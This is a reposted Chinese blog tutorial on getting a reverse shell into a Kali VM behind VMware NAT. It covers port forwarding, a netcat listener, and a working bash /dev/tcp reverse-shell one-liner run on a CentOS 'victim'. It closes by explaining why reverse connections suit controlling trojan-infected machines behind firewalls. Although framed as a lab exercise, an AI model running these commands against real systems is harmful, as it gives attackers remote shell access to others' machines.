欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

如何用内网虚拟机kali实现反弹shell

程序员文章站 2022-05-15 21:30:49
...


这里我讲述的是NAT模式下的反弹shell,因为个人感觉NAT模式方便一点。


实验环境

  • 攻击机:kali虚拟机(位于内网)
    ip:192.168.77.128
    如何用内网虚拟机kali实现反弹shell

  • 宿主机:win10(位于外网)
    ip:10.8.163.224
    如何用内网虚拟机kali实现反弹shell

  • 受害端:centos-7


设置端口转发

虚拟机集群此时相当于在内网中,而要实现反弹shell,我们的受害端centos7必须要能够连接我们的虚拟机kali。可以通过端口转发的功能来实现,比如我把kali虚拟机的2333号端口映射到主机的6666号端口,这样外网其它机器只需访问宿主机的6666号端口即可连接宿主机的虚拟机了。

下面是设置步骤:

编辑→虚拟网络编辑器→NAT设置→添加

如何用内网虚拟机kali实现反弹shell如何用内网虚拟机kali实现反弹shell


反弹shell

然后把攻击机kali的端口监听打开

nc -lvp 2333

如何用内网虚拟机kali实现反弹shell


用受害机centos7生成一个反弹shell,连接宿主机的公网IP10.8.163.224/6666,这样通过端口转发,就会连接到kali虚拟机上。

bash -i >& /dev/tcp/10.8.163.224/6666 0>&1

如何用内网虚拟机kali实现反弹shell


我们可以看到kali已经获取到受害机的bash。
如何用内网虚拟机kali实现反弹shell


验证

我们用kali在受害机桌面上创建一个hello.txt看看shell生效没。

touch /root/桌面/hello.txt

如何用内网虚拟机kali实现反弹shell如何用内网虚拟机kali实现反弹shell

为什么要反弹shell?

反弹很好理解,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

什么情况下正向连接不能用?

有如下情况:

  • 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

  • 目标机器的ip动态改变,你不能持续控制。

  • 防火墙等限制,对方机器只能发送请求,不能接收请求。

  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。